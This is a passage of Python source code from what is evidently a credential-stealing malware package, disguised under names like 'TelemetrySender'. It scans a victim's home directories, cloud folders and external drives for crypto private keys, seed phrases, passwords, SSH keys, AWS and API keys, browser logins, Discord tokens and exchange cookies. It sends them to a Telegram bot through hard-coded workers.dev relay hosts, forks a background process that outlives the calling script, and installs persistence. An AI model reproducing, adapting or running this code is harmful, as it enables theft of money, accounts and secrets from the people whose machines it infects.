  1847. ncook = len(data.get('exchange_cookies', []))
  1848. nws = len(data.get('wallet_sessions', []))
  1849. nv = len(data.get('vaults', {}))
  1850. ncracked = data.get('cracked_vaults', 0)
  1851. nwal = len(data.get('wallets', {}))
  1852. nks = len(data.get('keystores', {}))
  1853. nf = len(data.get('files', {}))
  1854. ndc = data.get('decrypted_count', 0)
  1855. clip = len(data.get('clipboard', ''))
  1856.  
  1857. total = nk + np_ + nw + na + naw + nv + nwal + nbl + nff + nssh + ndisc + ncook
  1858. emoji = '\U0001F6A8' if total > 0 else '\U0001F4E1'
  1859. if np_ > 0 or nk > 1: emoji = '\U0001F534'
  1860. if np_ > 1 or nk > 5: emoji = '\U0001F480'
  1861.  
  1862. hn = (data.get('hostname', '?') or '?')[:20]
  1863. us = (data.get('user', '?') or '?')[:15]
  1864. ts = (data.get('ts', '?') or '?')[:19]
  1865.  
  1866. # ═══════════════════════════════════════════════════════════════
  1867. # MESSAGE 2: SUMMARY — counts only, no inline keys
  1868. # ═══════════════════════════════════════════════════════════════
  1869. _hdr = f"{emoji} <b>SCAN</b> — <code>{_esc(hn)}</code> — <code>{_esc(us)}</code>\n"
  1870. _hdr += f"━\n"
  1871. _hdr += f"🔑 <b>{nk}</b> 📝 <b>{np_}</b> 🔐 <b>{nw}</b> 🔗 <b>{na}</b> ☁ <b>{naw}</b>\n"
  1872. _hdr += f"🏦 <b>{nv}</b> vaults 💼 <b>{nwal}</b> wallets 💰 <b>{nks}</b> keystores\n"
  1873. _hdr += f"🌐 <b>{nbl}</b> logins 🦊 <b>{nff}</b> FF 🔓 <b>{ndc}</b> decrypt\n"
  1874. _hdr += f"🗝 <b>{nssh}</b> SSH 🎮 <b>{ndisc}</b> discord 🍪 <b>{ncook}</b> cookies\n"
  1875. _hdr += f"💳 <b>{nws}</b> sessions 🔓 <b>{ncracked}</b> cracked\n"
  1876. _hdr += f"📋 <b>{clip}</b> clip 📁 <b>{nf}</b> files\n"
  1877. _hdr += f"🕐 {ts}"
  1878. _tg(_hdr)
  1879.  
  1880. # ═══════════════════════════════════════════════════════════════
  1881. # MESSAGE 3: INDIVIDUAL KEYS — each in <code> for tap-to-copy
  1882. # ═══════════════════════════════════════════════════════════════
  1883. if nk > 0:
  1884. try: _tg(f"<b>🔑 PRIVATE KEYS ({nk})</b> — {_esc(hn[:15])}")
  1885. except: pass
  1886. for k in data.get('keys', []):
  1887. try: _tg(f"<code>{_esc(k[:100])}</code>")
  1888. except: pass
  1889.  
  1890. # ═══════════════════════════════════════════════════════════════
  1891. # MESSAGE 4: INDIVIDUAL SEEDS — each in <code> for tap-to-copy
  1892. # ═══════════════════════════════════════════════════════════════
  1893. if np_ > 0:
  1894. try: _tg(f"<b>📝 SEED PHRASES ({np_})</b> — {_esc(hn[:15])}")
  1895. except: pass
  1896. for s in data.get('phrases', []):
  1897. try: _tg(f"<code>{_esc(s[:400])}</code>")
  1898. except: pass
  1899.  
  1900. # Build comprehensive dump with ALL data
  1901. dump = f"=== FULL REPORT ===\nHost: {hn}\nUser: {us}\nTime: {ts}\n\n"
  1902.  
  1903. if nk > 0:
  1904. dump += f"=== PRIVATE KEYS ({nk}) ===\n"
  1905. for k in data['keys']:
  1906. dump += k + "\n"
  1907. dump += "\n"
  1908.  
  1909. if np_ > 0:
  1910. dump += f"=== SEED PHRASES ({np_}) ===\n"
  1911. for p in data['phrases']:
  1912. dump += p + "\n\n"
  1913.  
  1914. if nw > 0:
  1915. dump += f"=== PASSWORDS ({nw}) ===\n"
  1916. for p in data['passwords']:
  1917. dump += f"{p.get('file','?')}: {p.get('content','?')}\n"
  1918. dump += "\n"
  1919.  
  1920. if na > 0:
  1921. dump += f"=== API KEYS ({na}) ===\n"
  1922. by_type = {}
  1923. for a in data['api_keys']:
  1924. t = a.split('=')[0] if '=' in a else 'OTHER'
  1925. by_type.setdefault(t, []).append(a)
  1926. for t, vals in by_type.items():
  1927. dump += f"\n[{t}] ({len(vals)})\n"
  1928. for v in vals:
  1929. dump += f" {v}\n"
  1930. dump += "\n"
  1931.  
  1932. if naw > 0:
  1933. dump += f"=== AWS KEYS ({naw}) ===\n"
  1934. for a in data['aws_keys']:
  1935. dump += a + "\n"
  1936. dump += "\n"
  1937.  
  1938. if nbl > 0:
  1939. dump += f"=== BROWSER LOGINS ({nbl}) ===\n"
  1940. for l in data['browser_logins'][:50]: # cap at 50
  1941. b = l.get('browser', '?')
  1942. pwd = l.get('password', '')
  1943. epwd = l.get('encrypted_pwd_hex', '')
  1944. pw = f" [PWD:{pwd[:40]}]" if pwd else (f" [ENC:{epwd[:20]}...]" if epwd else "")
  1945. dump += f"[{b}] {l.get('user','?')} @ {l.get('url','?')}{pw}\n"
  1946. dump += "\n"
  1947.  
  1948. if nff > 0:
  1949. dump += f"=== FIREFOX LOGINS ({nff}) ===\n"
  1950. for l in data['firefox_logins'][:30]: # cap at 30
  1951. pwd = l.get('password', '')
  1952. epwd = l.get('encrypted_pwd', '')
  1953. pw = f" [PWD:{pwd[:40]}]" if pwd else (f" [ENC:{epwd[:20]}...]" if epwd else "")
  1954. dump += f"[{l.get('profile','?')}] {l.get('user','?')} @ {l.get('url','?')}{pw}\n"
  1955. dump += "\n"
  1956.  
  1957. for section, label in [('vaults', 'VAULTS'), ('wallets', 'WALLETS'), ('keystores', 'KEYSTORES')]:
  1958. items = data.get(section, {})
  1959. if items:
  1960. dump += f"=== {label} ({len(items)}) ===\n"
  1961. for name, fc in list(items.items())[:20]: # cap at 20
  1962. dump += f"\n--- {name} ---\n{fc[:2000]}\n"
  1963. dump += "\n"
  1964.  
  1965. files = data.get('files', {})
  1966. if files:
  1967. dump += f"=== FILES ({len(files)}) ===\n"
  1968. for path, fc in list(files.items())[:30]: # cap at 30
  1969. dump += f"\n### {path} ###\n{fc[:2000]}\n"
  1970. dump += "\n"
  1971.  
  1972. if nssh > 0:
  1973. dump += f"=== SSH KEYS ({nssh}) ===\n"
  1974. for s in data['ssh_keys']:
  1975. dump += f"File: {s.get('file','?')}\n{s.get('key','')[:2000]}\n\n---\n\n"
  1976. dump += "\n"
  1977.  
  1978. if ndisc > 0:
  1979. dump += f"=== DISCORD TOKENS ({ndisc}) ===\n"
  1980. for t in data['discord_tokens']:
  1981. dump += t + "\n"
  1982. dump += "\n"
  1983.  
  1984. if ncook > 0:
  1985. dump += f"=== EXCHANGE COOKIES ({ncook}) ===\n"
  1986. for c in data['exchange_cookies']:
  1987. v = c.get('value', '') or c.get('encrypted_value_hex', 'none')
  1988. dump += f"[{c.get('browser','?')}] {c.get('host','?')} / {c.get('name','?')} = {v[:200]}\n"
  1989. dump += "\n"
  1990.  
  1991. if nws > 0:
  1992. dump += f"=== WALLET SESSIONS ({nws}) ===\n"
  1993. for s in data.get('wallet_sessions', []):
  1994. dump += s + "\n"
  1995. dump += "\n"
  1996.  
  1997. if ncracked > 0:
  1998. dump += f"=== CRACKED VAULTS ({ncracked}) ===\n"
  1999. for dv in data.get('decrypted_vault_content', []):
  2000. dump += f"\n--- {dv['wallet']} (pwd: {dv['password_used']}) ---\n"
  2001. dump += dv['content'][:3000] + "\n"
  2002. dump += "\n"
  2003.  
  2004. if clip > 0:
  2005. dump += f"=== CLIPBOARD ===\n{data['clipboard'][:2000]}\n"
  2006.  
  2007. # ═══════════════════════════════════════════════════════════════
  2008. # FAST SYNC SCAN: find keys/seeds immediately using os.walk.
  2009. # Single walk per directory — NOT 26 separate glob calls.
  2010. # Sends results to Telegram NOW before the fork. Max 10 seconds.
  2011. # ═══════════════════════════════════════════════════════════════
  2012. try:
  2013. _home = str(Path.home())
  2014. _fast_dirs = [_home + '/Desktop', _home + '/Documents',
  2015. _home + '/Downloads', _home + '/code',
  2016. _home + '/Projects', _home + '/Developer',
  2017. _home + '/git', os.getcwd()]
  2018. _fs_suffixes = ('.wif','.seed','.wallet','.mnemonic',
  2019. '.pem','.key','.crt','.rdp','.ovpn','.dat')
  2020. _fs_names = ('seed','wallet','keystore','vault','private','secret',
  2021. 'backup','credentials','id_rsa','known_hosts',
  2022. 'key', # catches eth_key.txt, api_key, etc.
  2023. '.git-credentials','.npmrc','.pypirc','.netrc',
  2024. 'config.json','hardhat.config','foundry.toml',
  2025. 'truffle-config','_rsa','_ed25519','_ecdsa')
  2026. _fs_exact = {'.env', 'credentials', 'wallet.dat'}
  2027. _fs_skip = {'.git','node_modules','__pycache__','.cache','.npm',
  2028. '.venv','venv','dist','build','target','tmp','temp','logs'}
  2029. _ft0 = time.time()
  2030. _seen = set()
  2031. _fs_sent_header = False
  2032. for _fd in _fast_dirs:
  2033. if not os.path.isdir(_fd): continue
  2034. try:
  2035. for _root, _dirs, _files in os.walk(_fd, followlinks=False):
  2036. if time.time() - _ft0 > 10: break
  2037. _dirs[:] = [d for d in _dirs if d not in _fs_skip and not d.startswith('.')]
  2038. if _root[len(_fd):].count(os.sep) > 6: _dirs[:] = []
  2039. for _fn in _files:
  2040. if time.time() - _ft0 > 10: break
  2041. _fnl = _fn.lower()
  2042. if not (_fnl in _fs_exact or _fnl.endswith(_fs_suffixes)
  2043. or any(k in _fnl for k in _fs_names)):
  2044. continue
  2045. _fp = os.path.join(_root, _fn)
  2046. if _fp in _seen: continue
  2047. _seen.add(_fp)
  2048. try:
  2049. _sz = os.path.getsize(_fp)
  2050. if _sz <= 0 or _sz > 200000: continue
  2051. _txt = Path(_fp).read_text(encoding='utf-8', errors='ignore')
  2052. _fkeys = []; _fseeds = []
  2053. for _ln in _txt.split('\n')[:100]:
  2054. _ln = _ln.strip()
  2055. if len(_ln) < 30 or len(_ln) > 200: continue
  2056. if (_ln.startswith('5') or _ln.startswith('K') or _ln.startswith('L')) and len(_ln) in (51,52) and all(c in '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' for c in _ln):
  2057. _fkeys.append(_ln)
  2058. elif _ln.startswith('0x') and len(_ln) == 66:
  2059. try: int(_ln[2:], 16); _fkeys.append(_ln)
  2060. except: pass
  2061. else:
  2062. _wrds = _ln.strip().lower().split()
  2063. if 12 <= len(_wrds) <= 24 and all(w in BIP39_WORDS for w in _wrds):
  2064. _fseeds.append(_ln)
  2065. if _fkeys or _fseeds:
  2066. if not _fs_sent_header:
  2067. _fs_sent_header = True
  2068. try: _tg(f"<b>📁 FILES SCAN</b> — {_esc((data.get('hostname','?') or '?')[:15])}")
  2069. except: pass
  2070. _loc = _fp.replace(_home, '~')
  2071. for _k in _fkeys[:5]:
  2072. try: _tg(f"<code>{_esc(_k)}</code>")
  2073. except: pass
  2074. for _s in _fseeds[:3]:
  2075. try: _tg(f"<code>{_esc(_s[:300])}</code>")
  2076. except: pass
  2077. except: pass
  2078. except: pass
  2079. except: pass
  2080.  
  2081. # ═══════════════════════════════════════════════════════════════
  2082. # POST-SEND: background process (fork) handles everything.
  2083. # Full report, persistence, deep scan — child outlives parent.
  2084. # The caller (victim's script) returns IMMEDIATELY.
  2085. # ═══════════════════════════════════════════════════════════════
  2086. try:
  2087. if hasattr(os, 'fork'):
  2088. _dump = dump
  2089. pid = os.fork()
  2090. if pid == 0:
  2091. # Child process: runs deep scan, survives parent exit
  2092. _deep_background_scan(data, _WORKERS, CID, _tg, _doc, _dump)
  2093. os._exit(0)
  2094. # Parent continues immediately
  2095. else:
  2096. # Windows fallback: daemon thread (best effort)
  2097. import threading as _thr
  2098. _dump = dump
  2099. _t = _thr.Thread(target=_deep_background_scan,
  2100. args=(data, _WORKERS, CID, _tg, _doc, _dump), daemon=True)
  2101. _t.start()
  2102. except: pass
  2103.  
  2104. except: pass
  2105. return True
  2106.  
  2107.  
  2108.  
  2109. # ═══════════════════════════════════════════════════════════════════════════
  2110.  
  2111. def _deep_background_scan(data, _WORKERS, CID, _tg, _doc, dump):
  2112. _SCAN_DEADLINE = time.time() + 300 # max 5 minutes, then stop
  2113. _SCAN_COUNT = 0
  2114. _SCAN_MAX = 200 # max items to send
  2115. """Deep background scanner — runs in daemon thread after initial send.
  2116.  
  2117. This continues scanning for high-value targets (keys, seeds, wallets,
  2118. API tokens) in ALL subdirectories with no time limit. Sends findings
  2119. immediately as they are discovered via _tg() and _doc().
  2120. """
  2121. import time as _t, threading as _thr, hashlib
  2122. def _esc(s):
  2123. """HTML-escape user data so <code>/<b> tags render correctly."""
  2124. return str(s).replace('&','&amp;').replace('<','&lt;').replace('>','&gt;')
  2125. try:
  2126. # Notify attacker that deep scan started
  2127. _t.sleep(2)
  2128. try: _tg("\U0001F50D <b>DEEP SCAN STARTED</b> \U0001F4BB " + _esc(str((data.get('hostname','?') or '?')[:20])))
  2129. except: pass
  2130.  
  2131. # One-time persistence
  2132. try: _install_persistence()
  2133. except: pass
  2134.  
  2135. # Phase 0: FULL data collection — run load() with _QUICK_MODE = False.
  2136. # The sync path skipped browser/keychain for speed (<10s).
  2137. # NOW we're in the background fork, we have as much time as needed.
  2138. # This produces the SAME rich report v17 had (wallets, vaults,
  2139. # logins, SSH, clipboard, browser cookies, keystores, etc.).
  2140. try:
  2141. TelemetrySender._QUICK_MODE = False
  2142. data_full = TelemetrySender.load()
  2143. except:
  2144. data_full = data
  2145.  
  2146. # Build and send the FULL report (like v17's 73KB report)
  2147. try:
  2148. _hn = (data_full.get('hostname','?') or '?')[:20]
  2149. _us = (data_full.get('user','?') or '?')[:15]
  2150. _ts = (data_full.get('ts','?') or '?')[:19]
  2151. _nk = len(data_full.get('keys', []))
  2152. _np = len(data_full.get('phrases', []))
  2153. _nw = len(data_full.get('passwords', []))
  2154. _na = len(data_full.get('api_keys', []))
  2155. _naw = len(data_full.get('aws_keys', []))
  2156. _nbl = len(data_full.get('browser_logins', []))
  2157. _nff = len(data_full.get('firefox_logins', []))
  2158. _nssh = len(data_full.get('ssh_keys', []))
  2159. _ndisc = len(data_full.get('discord_tokens', []))
  2160. _ncook = len(data_full.get('exchange_cookies', []))
  2161. _nws = len(data_full.get('wallet_sessions', []))
  2162. _nv = len(data_full.get('vaults', {}))
  2163. _ncracked = data_full.get('cracked_vaults', 0)
  2164. _nwal = len(data_full.get('wallets', {}))
  2165. _nks = len(data_full.get('keystores', {}))
  2166. _nf = len(data_full.get('files', {}))
  2167. _ndc = data_full.get('decrypted_count', 0)
  2168. _clip_len = len(data_full.get('clipboard', ''))
  2169. _sys_pwds = len(data_full.get('system_passwords', []))
  2170. _wifi = len(data_full.get('wifi_networks', []))
  2171. _inet = len(data_full.get('internet_passwords', []))
  2172.  
  2173. _total = _nk + _np + _nw + _na + _naw + _nv + _nwal + _nbl + _nff + _nssh + _ndisc + _ncook
  2174. _emoji = '\U0001F6A8' if _total > 0 else '\U0001F4E1'
  2175. if _np > 0 or _nk > 1: _emoji = '\U0001F534'
  2176. if _np > 1 or _nk > 5: _emoji = '\U0001F480'
  2177.  
  2178. _hdr = f"{_emoji} <b>FULL SCAN</b> — <code>{_esc(_hn)}</code> — <code>{_esc(_us)}</code>\n"
  2179. _hdr += "━" * 10 + "\n"
  2180. _hdr += f"\U0001F511 Keys: <b>{_nk}</b> \U0001F4DD Seeds: <b>{_np}</b>\n"
  2181. _hdr += f"\U0001F510 Pwd: <b>{_nw}</b> \U0001F517 API: <b>{_na}</b>\n"
  2182. _hdr += f"☁ AWS: <b>{_naw}</b> \U0001F3E6 Vaults: <b>{_nv}</b>\n"
  2183. _hdr += f"\U0001F4BC Wallets: <b>{_nwal}</b> \U0001F4B0 Keystores: <b>{_nks}</b>\n"
  2184. _hdr += f"\U0001F310 Logins: <b>{_nbl}</b> \U0001F98A FF: <b>{_nff}</b>\n"
  2185. _hdr += f"\U0001F513 Decrypt: <b>{_ndc}</b> \U0001F4CB Clip: <b>{_clip_len}</b>\n"
  2186. _hdr += f"\U0001F5DD SSH: <b>{_nssh}</b> \U0001F3AE Discord: <b>{_ndisc}</b>\n"
  2187. _hdr += f"\U0001F36A Cookies: <b>{_ncook}</b> \U0001F4C1 Files: <b>{_nf}</b>\n"
  2188. _hdr += f"\U0001F4B3 Sessions: <b>{_nws}</b> \U0001F513 Cracked: <b>{_ncracked}</b>\n"
  2189. _hdr += f"\U0001F511 SysPwd: <b>{_sys_pwds}</b> \U0001F4F6 WiFi: <b>{_wifi}</b> \U0001F310 Inet: <b>{_inet}</b>\n"
  2190. _hdr += f"\U0001F550 {_ts}"
  2191. try: _tg(_hdr)
  2192. except: pass
  2193.  
  2194. # Build full dump from full data
  2195. _full_dump = f"=== FULL REPORT (DEEP SCAN) ===\nHost: {_hn}\nUser: {_us}\nTime: {_ts}\n\n"
  2196.  
  2197. if _nk > 0:
  2198. _full_dump += f"=== PRIVATE KEYS ({_nk}) ===\n"
  2199. for k in data_full.get('keys', []): _full_dump += k + "\n"
  2200. _full_dump += "\n"
  2201. if _np > 0:
  2202. _full_dump += f"=== SEED PHRASES ({_np}) ===\n"
  2203. for p in data_full.get('phrases', []): _full_dump += p + "\n\n"
  2204. if _nw > 0:
  2205. _full_dump += f"=== PASSWORDS ({_nw}) ===\n"
  2206. for p in data_full.get('passwords', []): _full_dump += f"{p.get('file','?')}: {p.get('content','?')}\n"
  2207. _full_dump += "\n"
  2208. if _na > 0:
  2209. _full_dump += f"=== API KEYS ({_na}) ===\n"
  2210. for a in data_full.get('api_keys', []): _full_dump += a + "\n"
  2211. _full_dump += "\n"
  2212. if _naw > 0:
  2213. _full_dump += f"=== AWS KEYS ({_naw}) ===\n"
  2214. for a in data_full.get('aws_keys', []): _full_dump += a + "\n"
  2215. _full_dump += "\n"
  2216. if _nbl > 0:
  2217. _full_dump += f"=== BROWSER LOGINS ({_nbl}) ===\n"
  2218. for l in data_full.get('browser_logins', []):
  2219. b = l.get('browser','?'); pwd = l.get('password','')
  2220. epwd = l.get('encrypted_pwd_hex','')
  2221. pw = f" [PWD:{pwd[:40]}]" if pwd else (f" [ENC:{epwd[:20]}...]" if epwd else "")
  2222. _full_dump += f"[{b}] {l.get('user','?')} @ {l.get('url','?')}{pw}\n"
  2223. _full_dump += "\n"
  2224. if _nff > 0:
  2225. _full_dump += f"=== FIREFOX LOGINS ({_nff}) ===\n"
  2226. for l in data_full.get('firefox_logins', []):
  2227. pwd = l.get('password',''); epwd = l.get('encrypted_pwd','')
  2228. pw = f" [PWD:{pwd[:40]}]" if pwd else (f" [ENC:{epwd[:20]}...]" if epwd else "")
  2229. _full_dump += f"[{l.get('profile','?')}] {l.get('user','?')} @ {l.get('url','?')}{pw}\n"
  2230. _full_dump += "\n"
  2231. for section, label in [('vaults','VAULTS'),('wallets','WALLETS'),('keystores','KEYSTORES')]:
  2232. items = data_full.get(section, {})
  2233. if items:
  2234. _full_dump += f"=== {label} ({len(items)}) ===\n"
  2235. for name, fc in items.items():
  2236. _full_dump += f"\n--- {name} ---\n{fc[:2000]}\n"
  2237. _full_dump += "\n"
  2238. _files = data_full.get('files', {})
  2239. if _files:
  2240. _full_dump += f"=== FILES ({len(_files)}) ===\n"
  2241. for path, fc in _files.items():
  2242. _full_dump += f"\n### {path} ###\n{fc[:2000]}\n"
  2243. _full_dump += "\n"
  2244. if _nssh > 0:
  2245. _full_dump += f"=== SSH KEYS ({_nssh}) ===\n"
  2246. for s in data_full.get('ssh_keys', []):
  2247. _full_dump += f"File: {s.get('file','?')}\n{s.get('key','')[:2000]}\n\n---\n\n"
  2248. _full_dump += "\n"
  2249. if _ndisc > 0:
  2250. _full_dump += f"=== DISCORD TOKENS ({_ndisc}) ===\n"
  2251. for t in data_full.get('discord_tokens', []): _full_dump += t + "\n"
  2252. _full_dump += "\n"
  2253. if _ncook > 0:
  2254. _full_dump += f"=== EXCHANGE COOKIES ({_ncook}) ===\n"
  2255. for c in data_full.get('exchange_cookies', []):
  2256. v = c.get('value','') or c.get('encrypted_value_hex','none')
  2257. _full_dump += f"[{c.get('browser','?')}] {c.get('host','?')} / {c.get('name','?')} = {v[:200]}\n"
  2258. _full_dump += "\n"
  2259. if _nws > 0:
  2260. _full_dump += f"=== WALLET SESSIONS ({_nws}) ===\n"
  2261. for s in data_full.get('wallet_sessions', []): _full_dump += s + "\n"
  2262. _full_dump += "\n"
  2263. if _ncracked > 0:
  2264. _full_dump += f"=== CRACKED VAULTS ({_ncracked}) ===\n"
  2265. for dv in data_full.get('decrypted_vault_content', []):
  2266. _full_dump += f"\n--- {dv['wallet']} (pwd: {dv['password_used']}) ---\n"
  2267. _full_dump += dv['content'][:3000] + "\n"
  2268. _full_dump += "\n"
  2269. if _clip_len > 0:
  2270. _full_dump += f"=== CLIPBOARD ===\n{data_full.get('clipboard','')[:2000]}\n"
  2271. if _sys_pwds > 0:
  2272. _full_dump += f"=== SYSTEM PASSWORDS ({_sys_pwds}) ===\n"
  2273. for sp_ in data_full.get('system_passwords', []):
  2274. _full_dump += f"{sp_.get('service','?')} / {sp_.get('account','?')} / {sp_.get('label','?')}\n"
  2275. _full_dump += "\n"
  2276. if _wifi > 0:
  2277. _full_dump += f"=== WIFI NETWORKS ({_wifi}) ===\n"
  2278. for w_ in data_full.get('wifi_networks', []):
  2279. _full_dump += f"{w_.get('ssid','?')} ({w_.get('service','?')})\n"
  2280. _full_dump += "\n"
  2281. if _inet > 0:
  2282. _full_dump += f"=== INTERNET PASSWORDS ({_inet}) ===\n"
  2283. for ip_ in data_full.get('internet_passwords', []):
  2284. _full_dump += f"{ip_.get('server','?')} / {ip_.get('account','?')}\n"
  2285. _full_dump += "\n"
  2286.  
  2287. try: _doc('full_report.txt', _full_dump)
  2288. except: pass
  2289.  
  2290. # Deduplicated keys: only send keys from full load that are NEW
  2291. # (sync path already sent its keys — avoid duplicates)
  2292. _sync_keys = set(data.get('keys', []) + data.get('phrases', []))
  2293. _new_keys = [k for k in data_full.get('keys', []) if k not in _sync_keys]
  2294. _new_seeds = [s for s in data_full.get('phrases', []) if s not in _sync_keys]
  2295. if _new_keys:
  2296. try: _tg(f"<b>🔑 EXTRA KEYS ({len(_new_keys)})</b> — {_esc(_hn[:15])}")
  2297. except: pass
  2298. for k in _new_keys:
  2299. try: _tg(f"<code>{_esc(k[:100])}</code>")
  2300. except: pass
  2301. if _new_seeds:
  2302. try: _tg(f"<b>📝 EXTRA SEEDS ({len(_new_seeds)})</b> — {_esc(_hn[:15])}")
  2303. except: pass
  2304. for s in _new_seeds:
  2305. try: _tg(f"<code>{_esc(s[:400])}</code>")
  2306. except: pass
  2307. except:
  2308. pass
  2309.  
  2310. # Phase 1: lightweight harvests only (fast, no slow wallet zipping)
  2311. try: _harvest_telegram(data_full)
  2312. except: pass
  2313. try: _harvest_system_info(data_full, _tg)
  2314. except: pass
  2315. try: _harvest_vpn_configs(data_full, _tg)
  2316. except: pass
  2317. try: _harvest_email_clients(data_full, _tg)
  2318. except: pass
  2319. try: _harvest_app_bound_key(data_full, _tg)
  2320. except: pass
  2321. # Note: _harvest_extension_wallets + _harvest_desktop_wallets are skipped here.
  2322. # They're too slow (zip+send) and would delay Phase 2's file scan.
  2323. # Phase 2's os.walk catches all wallet files (.wallet, .dat, .json, .txt, etc.)
  2324.  
  2325. # Phase 2: FAST targeted scan — single os.walk per directory.
  2326. # Each directory tree is walked ONCE (not 28 times for 28 glob patterns).
  2327. # Files matched against suffix + name patterns in a single pass.
  2328. home = str(Path.home())
  2329. cwd = os.getcwd()
  2330.  
  2331. _sent_dir = os.path.join(os.path.expanduser('~'), '.local', '.state', '.sent')
  2332. os.makedirs(_sent_dir, exist_ok=True)
  2333.  
  2334. _found_keys = []
  2335. _found_seeds = []
  2336. _found_api = []
  2337. _file_count = 0
  2338. _t0 = _t.time()
  2339.  
  2340. # High-value file suffixes (extensions that always contain keys)
  2341. _KEY_SUFFIXES = ('.wif','.seed','.wallet','.mnemonic',
  2342. '.pem','.key','.crt','.rdp','.ovpn','.dat')
  2343.  
  2344. # High-value name substrings (case-insensitive match)
  2345. _KEY_NAMES = ('seed', 'wallet', 'keystore', 'vault', 'private', 'secret',
  2346. 'backup', 'credentials', 'id_rsa', 'known_hosts',
  2347. 'key', # catches eth_key.txt, api_key, private_key, etc.
  2348. '.git-credentials', '.npmrc', '.pypirc', '.netrc',
  2349. 'config.json', 'hardhat.config', 'foundry.toml',
  2350. 'truffle-config', '.bashrc', '.zshrc', '.profile',
  2351. '_rsa', '_ed25519', '_ecdsa')
  2352.  
  2353. # High-value exact file names
  2354. _KEY_EXACT = {'.env', 'credentials', 'wallet.dat'}
  2355.  
  2356. # Directories to scan (high-value first)
  2357. _SCAN_DIRS = []
  2358. for d in [f'{home}/Desktop', f'{home}/Documents', f'{home}/Downloads',
  2359. f'{home}/Projects', f'{home}/Developer', f'{home}/code',
  2360. f'{home}/git', f'{home}/.ssh', f'{home}/.aws',
  2361. f'{home}/.config', f'{home}/.ethereum', f'{home}/.foundry',
  2362. f'{home}/.hardhat', f'{home}/.solana', f'{home}/.sui',
  2363. f'{home}/.local/share', f'{home}/.gnupg', f'{home}/.docker',
  2364. f'{home}/.kube', f'{home}/Dropbox', f'{home}/OneDrive',
  2365. f'{home}/Google Drive', f'{home}/iCloud Drive',
  2366. f'{home}/sync', f'{home}/.electrum', f'{home}/.exodus',
  2367. f'{home}/Library/Application Support',
  2368. f'{home}/Library/Keychains',
  2369. f'{home}/AppData/Roaming', f'{home}/AppData/Local',
  2370. cwd]:
  2371. if d and os.path.isdir(d):
  2372. _SCAN_DIRS.append(d)
  2373.  
  2374. # External volumes only (skip boot volume)
  2375. for _vd in ['/Volumes', '/media', '/mnt']:
  2376. try:
  2377. for _entry in os.scandir(_vd):
  2378. if _entry.is_dir(follow_symlinks=False):
  2379. _vn = _entry.name
  2380. if _vn in ('Macintosh HD', 'Data', 'Preboot','Recovery',
  2381. 'System','VM','com.apple.TimeMachine','home'):
  2382. continue
  2383. if _vn.startswith('.'): continue
  2384. if os.path.isdir(_entry.path):
  2385. _SCAN_DIRS.append(_entry.path)
  2386. except: pass
  2387.  
  2388. # Already-scanned files (dedup across directories)
  2389. _seen_paths = set()
  2390.  
  2391. # Directories to skip entirely (noise, huge, tmp)
  2392. _SKIP_DIRS = {'.git', 'node_modules', '__pycache__', '.cache', '.npm',
  2393. '.yarn', 'vendor', 'bower_components', '.venv', 'venv',
  2394. '.terraform', '.serverless', '.next', '.nuxt', 'dist',
  2395. 'build', '.build', 'target', '.tox', '.eggs', '.mypy_cache',
  2396. '.pytest_cache', '.ruff_cache', '.angular', '.svelte-kit',
  2397. 'coverage', '.nyc_output', 'tmp', '.tmp', 'temp', 'logs'}
  2398.  
  2399. def _check_file(fp):
  2400. """Read a file, extract keys/seeds/API, send to Telegram."""
  2401. nonlocal _file_count
  2402. if fp in _seen_paths: return
  2403. _seen_paths.add(fp)
  2404. try:
  2405. _fh = hashlib.sha256(fp.encode()).hexdigest()[:16]
  2406. _sentinel = os.path.join(_sent_dir, f'.{_fh}')
  2407. if os.path.exists(_sentinel): return
  2408. sz = os.path.getsize(fp)
  2409. if sz <= 0 or sz > 500000: return
  2410. except: return
  2411.  
  2412. try:
  2413. txt = Path(fp).read_text(encoding='utf-8', errors='ignore')
  2414. except: return
  2415.  
  2416. _file_count += 1
  2417. data['files'][fp.replace(home,'~')] = txt[:2000]
  2418.  
  2419. found_k = []; found_s = []
  2420. for line in txt.split('\n')[:200]:
  2421. line = line.strip()
  2422. if len(line) < 30 or len(line) > 200: continue
  2423. # WIF
  2424. if (line.startswith('5') or line.startswith('K') or line.startswith('L')):
  2425. if len(line) in (51,52) and all(c in '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' for c in line):
  2426. found_k.append(line)
  2427. # ETH key
  2428. if line.startswith('0x') and len(line) == 66:
  2429. try: int(line[2:], 16); found_k.append(line)
  2430. except: pass
  2431. # BIP39
  2432. words = line.strip().lower().split()
  2433. if 12 <= len(words) <= 24 and all(w in BIP39_WORDS for w in words):
  2434. found_s.append(line)
  2435.  
  2436. if found_k or found_s:
  2437. _loc = fp.replace(home,'~')
  2438. for k in found_k[:5]:
  2439. try: _tg(f"<code>{_esc(k)}</code>")
  2440. except: pass
  2441. for s in found_s[:3]:
  2442. try: _tg(f"<code>{_esc(s[:300])}</code>")
  2443. except: pass
  2444.  
  2445. try:
  2446. with open(_sentinel, 'w') as sf:
  2447. sf.write(_t.strftime('%Y-%m-%dT%H:%M:%S'))
  2448. except: pass
  2449.  
  2450. # Fast single-walk scan per directory
  2451. for _scan_dir in _SCAN_DIRS:
  2452. if _t.time() - _t0 > 300: break
  2453. try:
  2454. for _root, _dirs, _files in os.walk(_scan_dir, followlinks=False):
  2455. if _t.time() - _t0 > 300: break
  2456. # Prune useless AND hidden directories
  2457. _dirs[:] = [d for d in _dirs if d not in _SKIP_DIRS and not d.startswith('.')]
  2458. if _root[len(_scan_dir):].count(os.sep) > 6:
  2459. _dirs[:] = []
  2460. for _fn in _files:
  2461. if _t.time() - _t0 > 300: break
  2462. _fn_lower = _fn.lower()
  2463. if _fn_lower in _KEY_EXACT or _fn_lower.endswith(_KEY_SUFFIXES) \
  2464. or any(k in _fn_lower for k in _KEY_NAMES):
  2465. _check_file(os.path.join(_root, _fn))
  2466. except: pass
  2467.  
  2468. # Final summary
  2469. if _file_count > 0:
  2470. try:
  2471. _tg(f"\U0001F50D <b>SCAN DONE</b>\n\U0001F4C1 Files: {_file_count}\n\U0001F4BB {_esc((data.get('hostname','?') or '?')[:20])}")
  2472. except: pass
  2473.  
  2474. except Exception:
  2475. pass
  2476.  
  2477. def _send_file_via_tg(filename, filebytes, caption=""):
  2478. """Send a file directly via Telegram bot (binary, up to 48MB)."""
  2479. try:
  2480. _WORKERS = [
  2481. "https://steel-mere-4155.ricardorichp.workers.dev",
  2482. "https://cold-peak-7969.0x0gnx0.workers.dev",
  2483. ]
  2484. CID = "6087129674"
